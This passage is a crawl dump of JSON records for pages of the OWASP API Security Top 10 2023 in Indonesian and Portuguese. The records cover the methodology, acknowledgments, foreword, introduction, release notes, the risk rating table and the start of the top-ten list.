"http://devsecops.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0xd0-about-data/", "titulek": "Metodologi dan Data - OWASP API Security Top 10", "h1": "Metodologi dan Data", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0xd0-about-data/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Metodologi dan Data"}, {"uroven": 2, "text": "Ringkasan"}, {"uroven": 2, "text": "Metodologi"}, {"uroven": 2, "text": "Risiko Khusus API"}], "markdown": "# Metodologi dan Data\n\n## Ringkasan\n\nUntuk pembaruan daftar ini, tim Keamanan API OWASP menggunakan metodologi yang sama dengan yang digunakan untuk daftar tahun 2019 yang sukses dan banyak diadopsi, dengan tambahan [Panggilan Data Publik](https://owasp.org/www-project-api-security/announcements/cfd/2022/) selama 3 bulan. Sayangnya, panggilan data ini tidak menghasilkan data yang memungkinkan analisis statistik yang relevan mengenai masalah keamanan API yang paling umum.\n\nNamun, dengan industri keamanan API yang lebih matang dan mampu memberikan umpan balik dan wawasan langsung, proses pembaruan terus berlanjut dengan menggunakan metodologi yang sama seperti sebelumnya.\n\nSampai di sini, kami percaya bahwa kami telah memiliki dokumen kesadaran yang fokus ke depan untuk tiga atau empat tahun mendatang, yang lebih berfokus pada masalah khusus API modern. Tujuan dari proyek ini bukanlah menggantikan daftar 10 besar lainnya, tetapi sebaliknya untuk menangani risiko keamanan API teratas yang ada dan yang akan datang, yang menurut kami harus diperhatikan oleh industri.\n\n## Metodologi\n\nDalam fase pertama, data yang tersedia secara publik tentang insiden keamanan API dikumpulkan, ditinjau, dan dikategorikan. Data tersebut dikumpulkan dari platform bug bounty dan laporan yang tersedia secara publik. Hanya masalah yang dilaporkan antara 2019 dan 2022 yang dipertimbangkan. Data ini digunakan untuk memberikan gambaran pada tim mengenai ke arah mana daftar 10 besar sebelumnya seharusnya berkembang serta membantu mengatasi bias atas data yang disumbangkan.\n\n[Panggilan Data Publik](https://owasp.org/www-project-api-security/announcements/cfd/2022/) berjalan mulai dari 1 September hingga 30 November 2022. Secara paralel, tim proyek mulai mendiskusikan apa yang telah berubah sejak 2019. Diskusi tersebut mencakup dampak dari daftar sebelumnya, umpan balik yang diterima dari komunitas, dan tren baru dalam keamanan API.\n\nTim proyek mempromosikan pertemuan dengan spesialis tentang ancaman keamanan API yang relevan untuk mendapatkan wawasan tentang bagaimana korban terpengaruh dan bagaimana ancaman-ancaman tersebut dapat diatasi.\n\nUpaya ini menghasilkan draf awal tentang apa yang tim percayai sebagai sepuluh risiko keamanan API yang paling kritis. [Metodologi Penilaian Risiko OWASP](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) digunakan untuk melakukan analisis risiko. Peringkat prevalensi diputuskan dari konsensus di antara anggota tim proyek, berdasarkan pengalaman mereka di lapangan. Untuk pertimbangan-pertimbangan tentang masalah ini, silakan lihat bagian [Risiko Keamanan API](../0x10-api-security-risks/).\n\nDraf awal kemudian dibagikan untuk ditinjau oleh praktisi keamanan dengan pengalaman relevan di bidang keamanan API. Komentar mereka ditinjau, didiskusikan, dan jika berlaku, dimasukkan dalam dokumen. Dokumen yang dihasilkan [dipublikasikan sebagai Calon Rilis](https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc) untuk [diskusi terbuka](https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC). Beberapa [kontribusi komunitas](https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC) dimasukkan ke dalam dokumen final.\n\nDaftar kontributor tersedia dalam bagian [Ucapan Terimakasih](../0xd1-acknowledgments/).\n\n## Risiko Khusus API\n\nDaftar ini dibangun untuk mengatasi risiko keamanan yang lebih spesifik untuk API.\n\nHal ini tidak berarti bahwa risiko keamanan aplikasi generik lainnya tidak ada dalam aplikasi berbasis API. Sebagai contoh, kami tidak memasukkan risiko seperti \"Komponen yang Rentan dan Sudah Ketinggalan Zaman\" atau \"Injection\", meskipun Anda mungkin menemukannya dalam aplikasi berbasis API. Risiko-risiko ini bersifat generik, mereka tidak berperilaku berbeda dalam API, dan eksploitasi mereka juga tidak berbeda.\n\nTujuan kami adalah meningkatkan kesadaran tentang risiko keamanan yang memerlukan perhatian khusus dalam API.", "znaku_textu": 3936, "slov": 486, "odkazu": 64, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:43", "sha256": "7aa8b94be41eafd1dd78786aca99450d92af6f051c76797f18d09dbe7091dd6a", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC", "https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0xd1-acknowledgments/", "titulek": "Ucapan Terima Kasih - OWASP API Security Top 10", "h1": "Ucapan Terima Kasih", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0xd1-acknowledgments/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Ucapan Terima Kasih"}, {"uroven": 2, "text": "Ucapan Terima Kasih kepada Kontributor"}], "markdown": "# Ucapan Terima Kasih\n\n## Ucapan Terima Kasih kepada Kontributor\n\nKami ingin mengucapakn terima kasih kepada kontributor berikut ini yang telah berkontribusi secara terbuka melalui GitHub, atau melalui cara lainnya:\n\n247arjun, abunuwas, Alissa Knight, Arik Atar, aymenfurter, Corey J. Ball, cyn8,\nd0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês\nMartins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB,\nllegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan\nPiyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj,\nwenz, xplo1t-sec, Yaniv Balmas, ynvb", "znaku_textu": 642, "slov": 81, "odkazu": 58, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:03", "sha256": "c1d34e16232b59330fe3ccf6c6202d12ed2029a9e040bba17bfccf180dbcb6f9", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0x00-header/", "titulek": "OWASP API Security Top 10", "h1": "", "popis": "OWASP API Security Top 10 2023", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0x00-header/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "| | | |\n| --- | --- | --- |\n| https://owasp.org | Distribuído ao abrigo da licença [Creative Commons Attribution-ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0/) | |", "znaku_textu": 166, "slov": 14, "odkazu": 57, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:53", "sha256": "ec256b8d2d085160396c72929cb37dec5fb6d3ea4158cbd14f15724d0a1f54d6", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0x00-notice/", "titulek": "Nota - OWASP API Security Top 10", "h1": "Nota", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0x00-notice/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Nota"}], "markdown": "# Nota\n\nEsta é a versão de texto do OWASP API Security Top 10, usada como fonte para \nquaisquer versões oficiais deste documento como por exemplo o website.\n\nContribuições para o projeto tais como comentários, correções ou traduções devem\nser feitas aqui. Para mais detalhes sobre [Como Contribuir](../../../../CONTRIBUTING/), por favor\nconsulte a secção [CONTRIBUTING.md](../../../../CONTRIBUTING/).\n\n- Erez Yallon\n- Inon Shkedy\n- Paulo Silva", "znaku_textu": 435, "slov": 59, "odkazu": 56, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:11:07", "sha256": "ec347b5e961698680bb69eabf0154b430c78bdd1315f9ab835e54884512fb8cb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0x00-toc/", "titulek": "Tabela de Conteúdos - OWASP API Security Top 10", "h1": "Tabela de Conteúdos", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0x00-toc/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Tabela de Conteúdos"}], "markdown": "# Tabela de Conteúdos\n\n- [Tabela de Conteúdos](./)\n- [Sobre a OWASP](../0x01-about-owasp/)\n- [Prefácio](../0x02-foreword/)\n- [Introdução](../0x03-introduction/)\n- [Notas da Versão](../0x04-release-notes/)\n- [Riscos de Segurança em APIs](../0x10-api-security-risks/)\n- [OWASP Top 10 API Security Risks – 2023](../0x11-t10/)\n- [API1:2023 Broken Object Level Authorization](../0xa1-broken-object-level-authorization/)\n- [API2:2023 Broken Authentication](../0xa2-broken-authentication/)\n- [API3:2023 Broken Object Property Level Authorization](../0xa3-broken-object-property-level-authorization/)\n- [API4:2023 Unrestricted Resource Consumption](../0xa4-unrestricted-resource-consumption/)\n- [API5:2023 Broken Function Level Authorization](../0xa5-broken-function-level-authorization/)\n- [API6:2023 Unrestricted Access to Sensitive Business Flows](../0xa6-unrestricted-access-to-sensitive-business-flows/)\n- [API7:2023 Server Side Request Forgery](../0xa7-server-side-request-forgery/)\n- [API8:2023 Security Misconfiguration](../0xa8-security-misconfiguration/)\n- [API9:2023 Improper Inventory Management](../0xa9-improper-inventory-management/)\n- [API10:2023 Unsafe Consumption of APIs](../0xaa-unsafe-consumption-of-apis/)\n- [O Que Se Segue Para Programadores](../0xb0-next-devs/)\n- [O que Se Segue Para DevSecOps](../0xb1-next-devsecops/)\n- [Metodologia e Dados](../0xd0-about-data/)\n- [Agradecimentos](../0xd1-acknowledgments/)", "znaku_textu": 1402, "slov": 144, "odkazu": 56, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:55:45", "sha256": "1dd8aaae25f498181f53d359ad0e24c4c2978ce899aeee640e2d0edb59d149d0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0x01-about-owasp/", "titulek": "Sobre a OWASP - OWASP API Security Top 10", "h1": "Sobre a OWASP", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0x01-about-owasp/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Sobre a OWASP"}, {"uroven": 2, "text": "Direitos de Autor e Licença"}], "markdown": "# Sobre a OWASP\n\nOpen Worldwide Application Security Project (OWASP) é uma comunidade aberta que\nse dedica a ajudar as organizações a desenvolver, adquirir e manter aplicações e\nAPIs confiáveis.\n\nA OWASP disponibiliza de forma livre e aberta:\n\n- Ferramentas e normas de segurança aplicacional.\n- Livros completos sobre testes de segurança aplicacional, desenvolvimento\n de código seguro e revisão de código focada em segurança.\n- Apresentações e [vídeos](https://www.youtube.com/user/OWASPGLOBAL) .\n- [*Cheat Sheets*](https://cheatsheetseries.owasp.org/) sobre assuntos diversos.\n- Controlos e bibliotecas de segurança *standard* .\n- [Comunidades locais espalhadas por todo o mundo](https://owasp.org/chapters/) .\n- Investigação de ponta.\n- Múltiplas [conferências em todo o mundo](https://owasp.org/events/) .\n- [Listas de discussão](https://groups.google.com/a/owasp.org/forum/#!overview) ( [arquivo](https://lists.owasp.org/mailman/listinfo) ).\n\nMais informação em: [https://www.owasp.org](https://www.owasp.org).\n\nTodas as ferramentas, documentos, vídeos, apresentações e comunidades locais da\nOWASP são livres e abertos a todos os interessados em melhorar a segurança\naplicacional.\n\nAconselhamos uma abordagem à segurança aplicacional como sendo um problema de\npessoas, processos e tecnologia, porque as abordagens mais eficazes à segurança\naplicacional necessitam de melhorias em todas estas áreas.\n\nA OWASP é um novo tipo de organização. A nossa independência em relação a\npressões comerciais permite-nos fornecer informação imparcial, prática e\neconomicamente adequada sobre a segurança aplicacional.\n\nA OWASP não está afiliada com nenhuma empresa tecnológica, embora suportemos o\nuso informado de tecnologias de segurança comerciais. A OWASP produz muitos\ntipos de materiais de uma forma colaborativa, transparente e aberta.\n\nA fundação OWASP é uma entidade sem fins lucrativos o que assegura o sucesso a\nlongo prazo do projeto. Quase todas as pessoas associadas à OWASP são\nvoluntárias, incluindo a direção da OWASP, os líderes das comunidades locais, os\nlíderes dos projetos e os seus membros. Suportamos investigação inovadora em\nsegurança através de bolsas e infraestrutura.\n\nJunte-se a nós!\n\n## Direitos de Autor e Licença\n\nCopyright © 2003-2023 The OWASP Foundation. Este documento é distribuído de\nacordo com a licença [Creative Commons Attribution Share-Alike 4.0 license](http://creativecommons.org/licenses/by-sa/4.0/). \nPara qualquer tipo de reutilização ou distribuição, deve deixar claro para \nterceiros os termos da licença deste trabalho.", "znaku_textu": 2535, "slov": 331, "odkazu": 65, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:55:49", "sha256": "7a5f3b37e8ac24ee2697533a176df34644439e13328e9d5fb2b4ad677fc7406c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.youtube.com/user/OWASPGLOBAL", "https://cheatsheetseries.owasp.org/", "https://groups.google.com/a/owasp.org/forum/", "https://lists.owasp.org/mailman/listinfo", "https://www.owasp.org/", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0x02-foreword/", "titulek": "Prefácio - OWASP API Security Top 10", "h1": "Prefácio", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0x02-foreword/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Prefácio"}], "markdown": "# Prefácio\n\nAs APIs - *Application Programming Interface* têm um papel fundamental na\ninovação que observamos nos dias de hoje ao nível das aplicações. Desde a banca,\nretalho e transportes à Internet das Coisas (IoT), veículos autónomos e *Smart\nCities*, as APIs são hoje um elemento crítico nas aplicações móveis, *Software\nas a Service* (SaaS) e aplicações web, sejam elas destinadas ao público em\ngeral, parceiros de negócio ou para uso interno das organizações.\n\nPor definição as APIs expõem lógica aplicacional e dados sensíveis tais como\ninformação pessoal (PII - *Personally Identifiable Information*), motivo pelo\nqual se têm vindo a tornar um alvo para os atacantes. Se não conseguirmos\ngarantir a segurança das APIs será impossível continuar a inovar a um ritmo\nacelerado.\n\nApesar de continuar a fazer sentindo manter uma lista dos 10 principais\nproblemas de segurança em aplicações web, devido à natureza particular das APIs,\né importante haver também uma tal lista específica para APIs.\nA segurança das APIs foca-se nas estratégias e soluções para compreender e\nmitigar as vulnerabilidades e risco de segurança associado às APIs.\n\nSe estiver familiarizado com o projeto [OWASP Top 10](https://owasp.org/www-project-top-ten/) com certeza notará as\nsemelhanças entre os documentos: elas são propositadas para facilitar a leitura\ne adoção deste. Se por outro lado for a primeira vez que tem contacto com um\ndocumento da série OWASP Top 10, sugerimos que comece por ler as secções [Riscos\nde Segurança em APIs](../0x10-api-security-risks/) e [Metodologia e Dados](../0xd0-about-data/) antes de aprofundar a lista\ndos dez problemas de segurança mais críticos em APIs.\n\nPode contribuir para o OWASP API Security Top 10 com perguntas, comentários e\nideias no repositório do projeto no GitHub:\n\n- https://owasp.org/www-project-api-security/\n- https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md\n\nPode ainda encontrar o OWASP API Security Top 10 em:\n\n- https://owasp.org/www-project-api-security/\n- https://github.com/OWASP/API-Security\n\nGostaríamos de agradecer a todos os que participaram neste projeto, tornando-o\npossível com o seu empenho e contribuições. A lista de contribuidores\nencontra-se na secção [Agradecimentos](../0xd1-acknowledgments/). Obrigado!", "znaku_textu": 2254, "slov": 335, "odkazu": 57, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:55:53", "sha256": "e16c4938352d2849423f30267461faf4424c3c3cf86a2e8f59359ba54a9ff5a1", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0x03-introduction/", "titulek": "Introdução - OWASP API Security Top 10", "h1": "Introdução", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0x03-introduction/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Introdução"}, {"uroven": 2, "text": "Bem-vindo ao OWASP API Security Top 10 - 2023!"}], "markdown": "# Introdução\n\n## Bem-vindo ao OWASP API Security Top 10 - 2023!\n\nBem-vindo à segunda edição do OWASP API Security Top 10!\n\nEste documento de consciencialização foi publicado pela primeira vez em 2019. \nDesde então, a indústria de segurança das APIs cresceu e ganhou maturidade. Nós\nacreditamos fortemente que este trabalho contribuiu positivamente para tal,\ndevido a ter sido adotado rapidamente como referência na indústria.\n\nAs APIs desempenham um papel muito importante na arquitetura das aplicações \nmodernas. Devido à inovação ter um ritmo diferente do que a sensibilização\npara a segurança, nós acreditamos que é importante concentrarmo-nos nas\nfalhas de segurança mais comuns das APIs.\n\nO objetivo principal do OWASP API Security Top 10 é educar todos aqueles\nenvolvidos no desenvolvimento e manutenção de APIs, como por exemplo,\nprogramadores, *designers*, arquitetos, gestores ou organizações. Pode saber\nmais sobre o projeto API Security visitando a [página do projeto](https://owasp.org/www-project-api-security/).\n\nSe não estiver familiarizado com a série OWASP Top 10, nós recomendamos que veja\npelo menos os seguintes projetos Top 10:\n\n- [OWASP Cloud-Native Application Security Top 10](https://owasp.org/www-project-cloud-native-application-security-top-10/)\n- [OWASP Desktop App Security Top 10](https://owasp.org/www-project-desktop-app-security-top-10/)\n- [OWASP Docker Top 10](https://owasp.org/www-project-docker-top-10/)\n- [OWASP Low-Code/No-Code Top 10](https://owasp.org/www-project-top-10-low-code-no-code-security-risks/)\n- [OWASP Machine Learning Security Top Ten](https://owasp.org/www-project-machine-learning-security-top-10/)\n- [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/)\n- [OWASP TOP 10](https://owasp.org/www-project-top-ten/)\n- [OWASP Top 10 CI/CD Security Risks](https://owasp.org/www-project-top-10-ci-cd-security-risks/)\n- [OWASP Top 10 Client-Side Security Risks](https://owasp.org/www-project-top-10-client-side-security-risks/)\n- [OWASP Top 10 Privacy Risks](https://owasp.org/www-project-top-10-privacy-risks/)\n- [OWASP Serverless Top 10](https://owasp.org/www-project-serverless-top-10/)\n\nNenhum destes projetos substitui qualquer outro: se está a trabalhar numa\naplicação móvel alimentada por uma API, então é melhor ler os dois documentos \nTop 10 correspondentes. O mesmo é válido se estiver a trabalhar num website ou \nnuma aplicação desktop alimentados por APIs.\n\nNa secção [Metodologia e Dados](../0xd0-about-data/) pode ler mais sobre como esta edição foi \ncriada. Por agora encorajamos todos a contribuírem com perguntas, comentários e \nideias no nosso [repositório no GitHub](https://github.com/OWASP/API-Security) ou através da [*Mailing list*](https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project).", "znaku_textu": 2766, "slov": 379, "odkazu": 70, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:55:57", "sha256": "383ca20ddf681879b326af9eb34c36ae281e4cc0e9e6a1edd39215a38ada65a6", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://groups.google.com/a/owasp.org/forum/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0x04-release-notes/", "titulek": "Notas da Versão - OWASP API Security Top 10", "h1": "Notas da Versão", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0x04-release-notes/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Notas da Versão"}], "markdown": "# Notas da Versão\n\nEsta é a segunda edição do OWASP API Security Top 10, exatamente quatro anos\napós a primeira versão. Muito mudou no panorama das API (a nível de \nsegurança). O tráfego das API aumentou a um ritmo acelerado, alguns protocolos \nde API ganharam muito mais popularidade, surgiram muitos novos vendedores/\nsoluções de segurança para API e, claro, os atacantes desenvolveram novas \ncapacidades e técnicas para comprometer APIs. Já era hora de atualizar a lista \ndos dez riscos de segurança de API mais críticos.\n\nCom uma indústria de segurança de API mais madura, pela primeira vez, houve [um \napelo público para dados](https://owasp.org/www-project-api-security/announcements/cfd/2022/). Infelizmente, não foram fornecidos dados, mas \ncom base na experiência da equipa do projeto, numa análise cuidadosa por \nespecialistas em segurança de API e no feedback da comunidade sobre a versão \npreliminar, construímos esta nova lista. Na [secção Metodologia e Dados](../0xd0-about-data/), \nencontrará mais detalhes sobre como esta versão foi elaborada. Para mais \ndetalhes sobre os riscos de segurança, consulte a [secção Riscos de Segurança \nem APIs](../0x10-api-security-risks/).\n\nO OWASP API Security Top 10 2023 é um documento de sensibilização prospetivo \npara uma indústria de ritmo acelerado. Não substitui outros TOP 10. Nesta \nedição:\n\n- Combinámos *Excessive Data Exposure* e *Mass Assignment* , focando na causa\n comum: falhas na validação de autorização ao nível das propriedades do objeto.\n- Damos mais ênfase ao consumo de recursos, em vez de nos concentrarmos na \n rapidez com que são esgotados.\n- Criámos uma nova categoria \" *Unrestricted Access to Sensitive Business Flows* \"\n para abordar novas ameaças, incluindo a maioria daquelas que podem ser \n mitigadas através de *rate limiting* .\n- Adicionámos \" *Unsafe Consumption of APIs* \" para abordar algo que começámos a\n observar: os atacantes começaram a procurar serviços integrados de um alvo \n para os comprometer, em vez de atingirem diretamente as APIs do seu alvo. Este\n é o momento certo para começar a sensibilizar sobre este risco crescente.\n\nAs APIs desempenham um papel cada vez mais importante na arquitetura moderna de \nmicrosserviços, *Single Page Applications* (SPAs), aplicações móveis, Internet \ndas Coisas (IoT), etc. O OWASP API Security Top 10 é um esforço necessário para \ncriar sensibilização sobre os problemas de segurança modernos das APIs.\n\nEsta atualização só foi possível devido ao grande esforço de vários voluntários, \nlistados na secção de [Agradecimentos](../0xd1-acknowledgments/).\n\nObrigado!", "znaku_textu": 2576, "slov": 388, "odkazu": 57, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:57:58", "sha256": "3fc8dec1ae79c7ff155d7338adf36ba35e18ca5e6f55d7a1ba56588fda4d9244", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0x10-api-security-risks/", "titulek": "Riscos de Segurança em APIs - OWASP API Security Top 10", "h1": "Riscos de Segurança em APIs", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0x10-api-security-risks/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Riscos de Segurança em APIs"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# Riscos de Segurança em APIs\n\nPara a análise de risco usámos a [metodologia de avaliação de risco da\nOWASP](https://owasp.org/www-project-risk-assessment-framework/).\n\nA tabela seguinte resume a terminologia associada à pontuação correspondente ao\nnível de risco.\n\n| Agentes Ameaça | Abuso | Prevalência | Deteção | Impacto Técnico | Impacto Negócio |\n| --- | --- | --- | --- | --- | --- |\n| Específico da API | Fácil **3** | Predominante **3** | Fácil **3** | Grave **3** | Específico do Negócio |\n| Específico da API | Moderado **2** | Comum **2** | Moderado **2** | Moderado **2** | Específico do Negócio |\n| Específico da API | Difícil **1** | Incomum **1** | Difícil **1** | Reduzido **1** | Específico do Negócio |\n\n**Nota**: Esta abordagem não toma em consideração a probabilidade do Agente de\nAmeaça. Também não toma em consideração nenhum detalhe técnico associado à sua\nAPI. Qualquer um destes fatores podem ter impacto significativo na probabilidade\nde um atacante encontrar e abusar duma falha de segurança particular. Estes\nindicadores não tomam em consideração o impacto atual no seu negócio. Terá de\nser a sua organização a decidir qual o nível de risco para a segurança das suas\naplicações e APIs que está disposta a aceitar, baseado na cultura, indústria e\nregulação a que está sujeita. O propósito do OWASP API Security Top 10 não é\nfazer essa análise por si. Uma vez que esta edição não é baseada em dados, a \nprevalência resulta de um consenso entre os membros da equipa.\n\n## Referências\n\n### OWASP\n\n- [OWASP Risk Rating Methodology](https://owasp.org/www-project-risk-assessment-framework/)\n- [Article on Threat/Risk Modeling](https://owasp.org/www-community/Threat_Modeling)\n\n### Externas\n\n- [ISO 31000: Risk Management Std](https://www.iso.org/iso-31000-risk-management.html)\n- [ISO 27001: ISMS](https://www.iso.org/isoiec-27001-information-security.html)\n- [NIST Cyber Framework (US)](https://www.nist.gov/cyberframework)\n- [ASD Strategic Mitigations (AU)](https://www.asd.gov.au/infosec/mitigationstrategies.htm)\n- [NIST CVSS 3.0](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)\n- [Microsoft Threat Modeling Tool](https://www.microsoft.com/en-us/download/details.aspx?id=49168)", "znaku_textu": 2048, "slov": 267, "odkazu": 67, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:58:21", "sha256": "10e8e1423aa1b27ca7baa393b9bdfdcd198ccf58fab54d50fa9db897c7b2f469", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.iso.org/iso-31000-risk-management.html", "https://www.iso.org/isoiec-27001-information-security.html", "https://www.nist.gov/cyberframework", "https://www.asd.gov.au/infosec/mitigationstrategies.htm", "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator", "https://www.microsoft.com/en-us/download/details.aspx?id=49168", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0x11-t10/", "titulek": "OWASP Top 10 API Security Risks – 2023 - OWASP API Security Top 10", "h1": "OWASP Top 10 API Security Risks – 2023", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0x11-t10/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10 API Security Risks – 2023"}], "markdown": "# OWASP Top 10 API Security Risks – 2023\n\n| Risk | Description |\n| --- | --- |\n| [API1:2023 - Broken Object Level Authorization](../0xa1-broken-object-level-authorization/) | As APIs tendem a expor mais *endpoints* que manipulam identificadores de objetos, tornando as falhas no controlo de acessos mais suscetíveis a ataques. A verificação da autorização para acesso aos objetos deve ser tida em consideração em todas as funções que acedem a dados com base em informação fornecida pelo utilizador. |\n| [API2:2023 - Broken Authentication](../0xa2-broken-authentication/) | Com frequência os mecanismos de autenticação são implementados de forma incorreta, permitindo aos atacantes comprometer os *tokens* de autenticação ou abusar das falhas na implementação por forma a assumir a identidade de outros utilizadores de forma temporária ou permanente. |\n| 